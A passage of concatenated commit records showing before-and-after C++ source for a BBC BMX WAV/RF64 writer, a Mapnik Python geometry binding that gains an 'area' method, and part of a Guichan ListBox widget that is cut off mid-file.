mBlockAlign;\n            input_ptr += track_block_align;\n        }\n        if (segment_offset + input_sample_count == segment->num_samples)\n            segment->channel_count += track->mChannelCount;\n\n        \/\/ write complete buffer segments\n        if (segment_index == 0 && segment->channel_count == mChannelCount) {\n            mOutput->Write(segment->data.GetBytes(), segment->data.GetSize());\n            mBufferSize -= segment->data.GetSize();\n            delete segment;\n            mBufferSegments.pop_front();\n        }\n    }\n\n    track->mSampleCount += input_sample_count;\n    mSampleCount += output_sample_count;\n\n\n    if (input_sample_count < num_samples) {\n        WriteSamples(track_index, data + input_sample_count * track_block_align,\n                     (num_samples - input_sample_count) * track_block_align,\n                     num_samples - input_sample_count);\n    }\n}\n\nvoid WaveWriter::CompleteWrite()\n{\n    \/\/ write remaining buffered samples\n    if (!mBufferSegments.empty()) {\n        log_warn(\"Wave tracks with unequal duration\\n\");\n\n        size_t i;\n        for (i = 0; i < mBufferSegments.size(); i++) {\n            mOutput->Write(mBufferSegments[i]->data.GetBytes(), mBufferSegments[i]->data.GetSize());\n            mBufferSize -= mBufferSegments[i]->data.GetSize();\n            delete mBufferSegments[i];\n        }\n        mBufferSegments.clear();\n    }\n\n    if (mStartTimecodeSet) {\n        mBEXT->SetTimeReference(convert_position(mStartTimecode.GetOffset(),\n                                                 mSamplingRate.numerator,\n                                                 mStartTimecode.GetRoundedTCBase(),\n                                                 ROUND_AUTO));\n    }\n\n\n    int64_t riff_size = mOutput->Size() - 8;\n    int64_t data_size = riff_size - mDataChunkFilePosition;\n\n    \/\/ add pad byte if data size is odd\n    if ((data_size & 1))\n        mOutput->PutChar(0);\n\n    if (mUseRF64 || riff_size > UINT32_MAX) {\n        if (!mUseRF64) {\n            mOutput->Seek(mDataChunkFilePosition + 4, SEEK_SET);\n            mOutput->WriteSize((uint32_t)(-1));\n\n            mOutput->Seek(mFactChunkFilePosition + 8, SEEK_SET);\n            mOutput->WriteUInt32((uint32_t)(-1));\n        }\n\n        if (mBEXT->WasUpdated()) {\n            mOutput->Seek(mBEXTFilePosition, SEEK_SET);\n            mBEXT->Write(mOutput);\n        }\n\n        if (!mUseRF64 || riff_size != mSetSize || mSampleCount != mSetSampleCount) {\n            mOutput->Seek(mJunkChunkFilePosition, SEEK_SET);\n            mOutput->WriteTag(\"ds64\");\n            mOutput->WriteSize(28);\n            mOutput->WriteUInt64((uint64_t)riff_size);\n            mOutput->WriteUInt64((uint64_t)data_size);\n            mOutput->WriteUInt64((uint64_t)mSampleCount);\n            mOutput->WriteUInt32(0);\n        }\n\n        if (!mUseRF64) {\n            mOutput->Seek(0, SEEK_SET);\n            mOutput->WriteTag(\"RF64\");\n            mOutput->WriteSize((uint32_t)(-1));\n        }\n    } else {\n        if (riff_size != mSetSize) {\n            mOutput->Seek(mDataChunkFilePosition + 4, SEEK_SET);\n            mOutput->WriteSize((uint32_t)data_size);\n        }\n\n        if (mSampleCount != mSetSampleCount) {\n            mOutput->Seek(mFactChunkFilePosition + 8, SEEK_SET);\n            mOutput->WriteUInt32((uint32_t)mSampleCount);\n        }\n\n        if (mBEXT->WasUpdated()) {\n            mOutput->Seek(mBEXTFilePosition, SEEK_SET);\n            mBEXT->Write(mOutput);\n        }\n\n        if (riff_size != mSetSize) {\n            mOutput->Seek(4, SEEK_SET);\n            mOutput->WriteSize((uint32_t)riff_size);\n        }\n    }\n}\n\nWaveTrackWriter* WaveWriter::GetTrack(uint32_t track_index)\n{\n    BMX_CHECK(track_index < mTracks.size());\n    return mTracks[track_index];\n}\n\nvoid WaveWriter::SetSamplingRate(Rational sampling_rate)\n{\n    BMX_CHECK(sampling_rate.denominator == 1);\n    BMX_CHECK_M(!mSamplingRateSet || sampling_rate == mSamplingRate,\n                (\"Variable sampling rate not supported in wave writer\"));\n\n    mSamplingRate = sampling_rate;\n    mSamplingRateSet = true;\n}\n\nvoid WaveWriter::SetQuantizationBits(uint16_t bits)\n{\n    BMX_CHECK(bits > 0 && bits <= 32);\n    BMX_CHECK_M(!mQuantizationBitsSet || bits == mQuantizationBits,\n                (\"Variable quantization bits not supported in wave writer\"));\n\n    mQuantizationBits = bits;\n    mQuantizationBitsSet = true;\n\n    mChannelBlockAlign = (mQuantizationBits + 7) \/ 8;\n}\n\n<commit_msg>wave: explicit casts for msvc<commit_after>\/*\n * Copyright (C) 2012, British Broadcasting Corporation\n * All Rights Reserved.\n *\n * Author: Philip de Nier\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *     * Redistributions of source code must retain the above copyright notice,\n *       this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *     * Neither the name of the British Broadcasting Corporation nor the names\n *       of its contributors may be used to endorse or promote products derived\n *       from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#define __STDC_LIMIT_MACROS\n\n#include <cstring>\n\n#include <bmx\/wave\/WaveWriter.h>\n#include <bmx\/Utils.h>\n#include <bmx\/BMXException.h>\n#include <bmx\/Logging.h>\n\nusing namespace std;\nusing namespace bmx;\n\n\n\/\/ prevent buffer size exceeding 50MB\n#define MAX_BUFFER_SIZE     (50 * 1000 * 1000)\n\n\n\nWaveWriter::WaveWriter(WaveIO *output, bool take_ownership)\n{\n    mOutput = output;\n    mOwnOutput = take_ownership;\n    mStartTimecodeSet = false;\n    mSetSampleCount = -1;\n    mBEXT = new WaveBEXT();\n    mSamplingRate = SAMPLING_RATE_48K;\n    mSamplingRateSet = false;\n    mQuantizationBits = 16;\n    mQuantizationBitsSet = false;\n    mChannelCount = 0;\n    mChannelBlockAlign = (mQuantizationBits + 7) \/ 8;\n    mBlockAlign = 0;\n    mBufferSize = 0;\n    mSampleCount = 0;\n    mJunkChunkFilePosition = 0;\n    mBEXTFilePosition = 0;\n    mDataChunkFilePosition = 0;\n    mFactChunkFilePosition = 0;\n    mUseRF64 = false;\n    mSetSize = -1;\n    mSetDataSize = -1;\n}\n\nWaveWriter::~WaveWriter()\n{\n    delete mBEXT;\n    if (mOwnOutput)\n        delete mOutput;\n\n    size_t i;\n    for (i = 0; i < mBufferSegments.size(); i++)\n        delete mBufferSegments[i];\n\n    for (i = 0; i < mTracks.size(); i++)\n        delete mTracks[i];\n}\n\nvoid WaveWriter::SetStartTimecode(Timecode start_timecode)\n{\n    mStartTimecode = start_timecode;\n    mStartTimecodeSet = true;\n}\n\nvoid WaveWriter::SetSampleCount(int64_t count)\n{\n    mSetSampleCount = count;\n}\n\nWaveTrackWriter* WaveWriter::CreateTrack()\n{\n    mTracks.push_back(new WaveTrackWriter(this, (uint32_t)mTracks.size()));\n    return mTracks.back();\n}\n\nvoid WaveWriter::PrepareWrite()\n{\n    size_t i;\n    for (i = 0; i < mTracks.size(); i++) {\n        mTracks[i]->mStartChannel = mChannelCount;\n        mChannelCount += mTracks[i]->mChannelCount;\n    }\n    mBlockAlign = mChannelBlockAlign * mChannelCount;\n\n    if (mStartTimecodeSet) {\n        mBEXT->SetTimeReference(convert_position(mStartTimecode.GetOffset(),\n                                                 mSamplingRate.numerator,\n                                                 mStartTimecode.GetRoundedTCBase(),\n                                                 ROUND_AUTO));\n    }\n\n    if (mSetSampleCount >= 0) {\n        mSetDataSize = mSetSampleCount * mBlockAlign;\n        mSetSize = 4 + (8 + 28) + (8 + mBEXT->GetSize()) + (8 + 16) + (8 + 4) + (8 + mSetDataSize);\n        if (mSetSize > UINT32_MAX)\n            mUseRF64 = true;\n    }\n\n    if (mUseRF64) {\n        mOutput->WriteTag(\"RF64\");\n        mOutput->WriteSize(-1);\n    } else {\n        mOutput->WriteTag(\"RIFF\");\n        if (mSetSize >= 0)\n            mOutput->WriteSize((uint32_t)mSetSize);\n        else\n            mOutput->WriteSize(0);\n    }\n    mOutput->WriteTag(\"WAVE\");\n\n    mJunkChunkFilePosition = mOutput->Tell();\n    if (mUseRF64) {\n        mOutput->WriteTag(\"ds64\");\n        mOutput->WriteSize(28);\n        mOutput->WriteUInt64((uint64_t)mSetSize);\n        mOutput->WriteUInt64((uint64_t)mSetDataSize);\n        mOutput->WriteUInt64((uint64_t)mSetSampleCount);\n        mOutput->WriteUInt32(0);\n    } else {\n        mOutput->WriteTag(\"JUNK\");\n        mOutput->WriteSize(28);\n        mOutput->WriteZeros(28);\n    }\n\n    mBEXTFilePosition = mOutput->Tell();\n    mBEXT->Write(mOutput);\n\n    mOutput->WriteTag(\"fmt \");\n    mOutput->WriteSize(16);\n    mOutput->WriteUInt16(1); \/\/ PCM\n    mOutput->WriteUInt16(mChannelCount);\n    mOutput->WriteUInt32(mSamplingRate.numerator);\n    mOutput->WriteUInt32(mBlockAlign * mSamplingRate.numerator); \/\/ bytes per second\n    mOutput->WriteUInt16(mBlockAlign);\n    mOutput->WriteUInt16(mQuantizationBits);\n\n    mFactChunkFilePosition = mOutput->Tell();\n    mOutput->WriteTag(\"fact\");\n    mOutput->WriteSize(4);\n    if (mSetSampleCount >= 0)\n        mOutput->WriteUInt32((uint32_t)mSetSampleCount);\n    else\n        mOutput->WriteUInt32(0);\n\n    mDataChunkFilePosition = mOutput->Tell();\n    mOutput->WriteTag(\"data\");\n    if (mUseRF64)\n        mOutput->WriteSize(-1);\n    else if (mSetDataSize >= 0)\n        mOutput->WriteSize((uint32_t)mSetDataSize);\n    else\n        mOutput->WriteSize(0);\n}\n\nvoid WaveWriter::WriteSamples(uint32_t track_index, const unsigned char *data, uint32_t size, uint32_t num_samples)\n{\n    if (size == 0)\n        return;\n\n    WaveTrackWriter *track = GetTrack(track_index);\n    uint16_t track_block_align = track->mChannelCount * mChannelBlockAlign;\n    BMX_CHECK(size >= num_samples * track_block_align);\n\n    uint32_t input_sample_count = 0;\n    uint32_t output_sample_count = 0;\n\n    if (mTracks.size() == 1) {\n        \/\/ no buffering required\n        mOutput->Write(data, num_samples * track_block_align);\n        input_sample_count = num_samples;\n        output_sample_count = num_samples;\n    } else {\n        \/\/ need to buffer\n        BufferSegment *segment;\n        size_t segment_index;\n        uint32_t segment_offset;\n        if (track->mSampleCount == mSampleCount) {\n            \/\/ create new segment\n            BMX_CHECK(mBufferSize < MAX_BUFFER_SIZE);\n            mBufferSegments.push_back(new BufferSegment);\n            segment = mBufferSegments.back();\n            segment->start_sample_count = mSampleCount;\n            segment->num_samples = num_samples;\n            segment->channel_count = 0;\n            segment->data.Allocate(mBlockAlign * num_samples);\n            segment->data.SetSize(mBlockAlign * num_samples);\n            memset(segment->data.GetBytes(), 0, segment->data.GetSize());\n\n            mBufferSize += mBlockAlign * num_samples;\n            segment_index = 0;\n            segment_offset = 0;\n            input_sample_count = num_samples;\n            output_sample_count = num_samples;\n        } else {\n            \/\/ get existing segment\n            BMX_ASSERT(!mBufferSegments.empty());\n            for (segment_index = 0; segment_index < mBufferSegments.size() - 1; segment_index++) {\n                if (track->mSampleCount < mBufferSegments[segment_index + 1]->start_sample_count)\n                    break;\n            }\n            segment = mBufferSegments[segment_index];\n            segment_offset = (uint32_t)(track->mSampleCount - segment->start_sample_count);\n            input_sample_count = segment->num_samples - segment_offset;\n            if (input_sample_count > num_samples)\n                input_sample_count = num_samples;\n        }\n\n        \/\/ copy samples to segment\n        unsigned char *output_ptr = segment->data.GetBytes() + segment_offset * mBlockAlign +\n                                    track->mStartChannel * mChannelBlockAlign;\n        const unsigned char *input_ptr = data;\n        uint32_t i;\n        for (i = 0; i < input_sample_count; i++) {\n            memcpy(output_ptr, input_ptr, track_block_align);\n            output_ptr += mBlockAlign;\n            input_ptr += track_block_align;\n        }\n        if (segment_offset + input_sample_count == segment->num_samples)\n            segment->channel_count += track->mChannelCount;\n\n        \/\/ write complete buffer segments\n        if (segment_index == 0 && segment->channel_count == mChannelCount) {\n            mOutput->Write(segment->data.GetBytes(), segment->data.GetSize());\n            mBufferSize -= segment->data.GetSize();\n            delete segment;\n            mBufferSegments.pop_front();\n        }\n    }\n\n    track->mSampleCount += input_sample_count;\n    mSampleCount += output_sample_count;\n\n\n    if (input_sample_count < num_samples) {\n        WriteSamples(track_index, data + input_sample_count * track_block_align,\n                     (num_samples - input_sample_count) * track_block_align,\n                     num_samples - input_sample_count);\n    }\n}\n\nvoid WaveWriter::CompleteWrite()\n{\n    \/\/ write remaining buffered samples\n    if (!mBufferSegments.empty()) {\n        log_warn(\"Wave tracks with unequal duration\\n\");\n\n        size_t i;\n        for (i = 0; i < mBufferSegments.size(); i++) {\n            mOutput->Write(mBufferSegments[i]->data.GetBytes(), mBufferSegments[i]->data.GetSize());\n            mBufferSize -= mBufferSegments[i]->data.GetSize();\n            delete mBufferSegments[i];\n        }\n        mBufferSegments.clear();\n    }\n\n    if (mStartTimecodeSet) {\n        mBEXT->SetTimeReference(convert_position(mStartTimecode.GetOffset(),\n                                                 mSamplingRate.numerator,\n                                                 mStartTimecode.GetRoundedTCBase(),\n                                                 ROUND_AUTO));\n    }\n\n\n    int64_t riff_size = mOutput->Size() - 8;\n    int64_t data_size = riff_size - mDataChunkFilePosition;\n\n    \/\/ add pad byte if data size is odd\n    if ((data_size & 1))\n        mOutput->PutChar(0);\n\n    if (mUseRF64 || riff_size > UINT32_MAX) {\n        if (!mUseRF64) {\n            mOutput->Seek(mDataChunkFilePosition + 4, SEEK_SET);\n            mOutput->WriteSize((uint32_t)(-1));\n\n            mOutput->Seek(mFactChunkFilePosition + 8, SEEK_SET);\n            mOutput->WriteUInt32((uint32_t)(-1));\n        }\n\n        if (mBEXT->WasUpdated()) {\n            mOutput->Seek(mBEXTFilePosition, SEEK_SET);\n            mBEXT->Write(mOutput);\n        }\n\n        if (!mUseRF64 || riff_size != mSetSize || mSampleCount != mSetSampleCount) {\n            mOutput->Seek(mJunkChunkFilePosition, SEEK_SET);\n            mOutput->WriteTag(\"ds64\");\n            mOutput->WriteSize(28);\n            mOutput->WriteUInt64((uint64_t)riff_size);\n            mOutput->WriteUInt64((uint64_t)data_size);\n            mOutput->WriteUInt64((uint64_t)mSampleCount);\n            mOutput->WriteUInt32(0);\n        }\n\n        if (!mUseRF64) {\n            mOutput->Seek(0, SEEK_SET);\n            mOutput->WriteTag(\"RF64\");\n            mOutput->WriteSize((uint32_t)(-1));\n        }\n    } else {\n        if (riff_size != mSetSize) {\n            mOutput->Seek(mDataChunkFilePosition + 4, SEEK_SET);\n            mOutput->WriteSize((uint32_t)data_size);\n        }\n\n        if (mSampleCount != mSetSampleCount) {\n            mOutput->Seek(mFactChunkFilePosition + 8, SEEK_SET);\n            mOutput->WriteUInt32((uint32_t)mSampleCount);\n        }\n\n        if (mBEXT->WasUpdated()) {\n            mOutput->Seek(mBEXTFilePosition, SEEK_SET);\n            mBEXT->Write(mOutput);\n        }\n\n        if (riff_size != mSetSize) {\n            mOutput->Seek(4, SEEK_SET);\n            mOutput->WriteSize((uint32_t)riff_size);\n        }\n    }\n}\n\nWaveTrackWriter* WaveWriter::GetTrack(uint32_t track_index)\n{\n    BMX_CHECK(track_index < mTracks.size());\n    return mTracks[track_index];\n}\n\nvoid WaveWriter::SetSamplingRate(Rational sampling_rate)\n{\n    BMX_CHECK(sampling_rate.denominator == 1);\n    BMX_CHECK_M(!mSamplingRateSet || sampling_rate == mSamplingRate,\n                (\"Variable sampling rate not supported in wave writer\"));\n\n    mSamplingRate = sampling_rate;\n    mSamplingRateSet = true;\n}\n\nvoid WaveWriter::SetQuantizationBits(uint16_t bits)\n{\n    BMX_CHECK(bits > 0 && bits <= 32);\n    BMX_CHECK_M(!mQuantizationBitsSet || bits == mQuantizationBits,\n                (\"Variable quantization bits not supported in wave writer\"));\n\n    mQuantizationBits = bits;\n    mQuantizationBitsSet = true;\n\n    mChannelBlockAlign = (mQuantizationBits + 7) \/ 8;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\/\/$Id$\n\n\/\/ boost\n#include <boost\/python.hpp>\n#include <boost\/python\/def.hpp>\n#include <boost\/python\/exception_translator.hpp>\n#include <boost\/python\/manage_new_object.hpp>\n\/\/ mapnik\n#include <mapnik\/geometry.hpp>\n#include <mapnik\/wkt\/wkt_factory.hpp>\n\nnamespace {\n\nusing mapnik::from_wkt;\nusing mapnik::geometry_type;\n\ngeometry_type * make_from_wkt(std::string const& wkt)\n{\n    std::pair<bool,geometry_type*> result = from_wkt(wkt);\n    if (result.first)\n    {\n        return result.second;\n    }\n    throw std::runtime_error(\"Failed to parse WKT\");\n}\n\n}\n\nvoid export_geometry()\n{\n    using namespace boost::python;\n    \n    enum_<mapnik::eGeomType>(\"GeometryType\")\n        .value(\"Point\",mapnik::Point)\n        .value(\"LineString\",mapnik::LineString)\n        .value(\"Polygon\",mapnik::Polygon)\n        .value(\"MultiPoint\",mapnik::MultiPoint)\n        .value(\"MultiLineString\",mapnik::MultiLineString)\n        .value(\"MultiPolygon\",mapnik::MultiPolygon)\n        ;\n    \n    using mapnik::geometry_type;\n    class_<geometry_type, std::auto_ptr<geometry_type>,boost::noncopyable>(\"Geometry2d\",no_init)\n        \/\/ factory method \n        .def(\"from_wkt\",make_from_wkt,return_value_policy<manage_new_object>())\n        .staticmethod(\"from_wkt\")\n        .def(\"envelope\",&geometry_type::envelope)\n        \/\/ .def(\"__str__\",&geometry_type::to_string)\n        .def(\"type\",&geometry_type::type)\n        \/\/ TODO add other geometry_type methods\n        ;\n}\n<commit_msg>+ reflect 'area' method<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\/\/$Id$\n\n\/\/ boost\n#include <boost\/python.hpp>\n#include <boost\/python\/def.hpp>\n#include <boost\/python\/exception_translator.hpp>\n#include <boost\/python\/manage_new_object.hpp>\n\/\/ mapnik\n#include <mapnik\/geometry.hpp>\n#include <mapnik\/wkt\/wkt_factory.hpp>\n\nnamespace {\n\nusing mapnik::from_wkt;\nusing mapnik::geometry_type;\n\ngeometry_type * make_from_wkt(std::string const& wkt)\n{\n    std::pair<bool,geometry_type*> result = from_wkt(wkt);\n    if (result.first)\n    {\n        return result.second;\n    }\n    throw std::runtime_error(\"Failed to parse WKT\");\n}\n\n}\n\nvoid export_geometry()\n{\n    using namespace boost::python;\n    \n    enum_<mapnik::eGeomType>(\"GeometryType\")\n        .value(\"Point\",mapnik::Point)\n        .value(\"LineString\",mapnik::LineString)\n        .value(\"Polygon\",mapnik::Polygon)\n        .value(\"MultiPoint\",mapnik::MultiPoint)\n        .value(\"MultiLineString\",mapnik::MultiLineString)\n        .value(\"MultiPolygon\",mapnik::MultiPolygon)\n        ;\n    \n    using mapnik::geometry_type;\n    class_<geometry_type, std::auto_ptr<geometry_type>,boost::noncopyable>(\"Geometry2d\",no_init)\n        \/\/ factory method \n        .def(\"from_wkt\",make_from_wkt,return_value_policy<manage_new_object>())\n        .staticmethod(\"from_wkt\")\n        .def(\"envelope\",&geometry_type::envelope)\n        \/\/ .def(\"__str__\",&geometry_type::to_string)\n        .def(\"type\",&geometry_type::type)\n        .def(\"area\",&geometry_type::area)\n        \/\/ TODO add other geometry_type methods\n        ;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*      _______   __   __   __   ______   __   __   _______   __   __                 \n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\                \n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ \/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/                 \n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/                  \n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/                   \n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/                    \n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/                      \n *\n * Copyright (c) 2004, 2005 darkbits                        Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * For comments regarding functions please see the header file. \n *\/\n\n#include \"guichan\/widgets\/listbox.hpp\"\n\n#include \"guichan\/basiccontainer.hpp\"\n#include \"guichan\/font.hpp\"\n#include \"guichan\/graphics.hpp\"\n#include \"guichan\/key.hpp\"\n#include \"guichan\/listmodel.hpp\"\n#include \"guichan\/mouseinput.hpp\"\n \nnamespace gcn\n{\n    ListBox::ListBox()\n    {    \n        mSelected = -1;\n        mListModel = NULL;\n        setWidth(100);\n        setFocusable(true);\n    \n        addMouseListener(this);\n        addKeyListener(this);\n    }\n\n    ListBox::ListBox(ListModel *listModel)\n    {\n        mSelected = -1;\n        setWidth(100);\n        setListModel(listModel);\n        setFocusable(true);\n    \n        addMouseListener(this);\n        addKeyListener(this);\n    }\n\n    void ListBox::draw(Graphics* graphics)\n    {\n        graphics->setColor(getBackgroundColor());\n        graphics->fillRectangle(Rectangle(0, 0, getWidth(), getHeight()));\n\n        if (mListModel == NULL)      \n        {\n            return;\n        }\n    \n        graphics->setColor(getForegroundColor());\n        graphics->setFont(getFont());    \n    \n        int i, fontHeight;\n        int y = 0;\n    \n        fontHeight = getFont()->getHeight();\n    \n        \/**\n         * @todo Check cliprects so we do not have to iterate over elements in the list model\n         *\/\n        for (i = 0; i < mListModel->getNumberOfElements(); ++i)\n        {      \n            if (i == mSelected)\n            {\n                graphics->drawRectangle(Rectangle(0, y, getWidth(), fontHeight));\n            }\n      \n            graphics->drawText(mListModel->getElementAt(i), 1, y);      \n\n            y += fontHeight;\n        }    \n    }\n\n    void ListBox::drawBorder(Graphics* graphics)\n    {\n        Color faceColor = getBaseColor();\n        Color highlightColor, shadowColor;\n        int alpha = getBaseColor().a;\n        int width = getWidth() + getBorderSize() * 2 - 1;\n        int height = getHeight() + getBorderSize() * 2 - 1;\n        highlightColor = faceColor + 0x303030;\n        highlightColor.a = alpha;\n        shadowColor = faceColor - 0x303030;\n        shadowColor.a = alpha;\n        \n        unsigned int i;\n        for (i = 0; i < getBorderSize(); ++i)\n        {\n            graphics->setColor(shadowColor);\n            graphics->drawLine(i,i, width - i, i);\n            graphics->drawLine(i,i + 1, i, height - i - 1);\n            graphics->setColor(highlightColor);\n            graphics->drawLine(width - i,i + 1, width - i, height - i); \n            graphics->drawLine(i,height - i, width - i - 1, height - i); \n        }\n    }\n    \n    void ListBox::logic()\n    {\n        adjustSize();    \n    }\n\n    int ListBox::getSelected()\n    {\n        return mSelected;\n    }\n\n    void ListBox::setSelected(int selected)\n    {\n        if (mListModel == NULL)\n        {\n            mSelected = -1;\n        }\n        else\n        {\n            if (selected < 0)\n            {\n                mSelected = -1;\n            }\n            else if (selected >= mListModel->getNumberOfElements())\n            {\n                mSelected = mListModel->getNumberOfElements() - 1;\n            }\n            else\n            {\n                mSelected = selected;\n            }\n\n            BasicContainer *par = getParent();\n            if (par == NULL)\n            {\n                return;\n            }            \n            \n            Rectangle scroll;\n            \n            if (mSelected < 0)\n            {\n                scroll.y = 0;\n            }\n            else\n            {\n                scroll.y = getFont()->getHeight() * mSelected;\n            }\n            \n            scroll.y = getFont()->getHeight() * mSelected;\n            scroll.height = getFont()->getHeight();\n            par->showWidgetPart(this, scroll);\n        }\n    }\n\n    void ListBox::keyPress(const Key& key)\n    {    \n        if (key.getValue() == Key::ENTER || key.getValue() == Key::SPACE)\n        {\n            generateAction();\n        }\n        else if (key.getValue() == Key::UP)\n        {      \n            setSelected(mSelected - 1);\n\n            if (mSelected == -1)\n            {\n                setSelected(0);\n            }\n        }\n        else if (key.getValue() == Key::DOWN)\n        {\n            setSelected(mSelected + 1);\n        }\n    }\n\n    void ListBox::mousePress(int x, int y, int button)\n    {\n        if (button == MouseInput::LEFT && hasMouse())\n        {\n            setSelected(y \/ getFont()->getHeight());\n            generateAction();\n        }\n    }\n\n    void 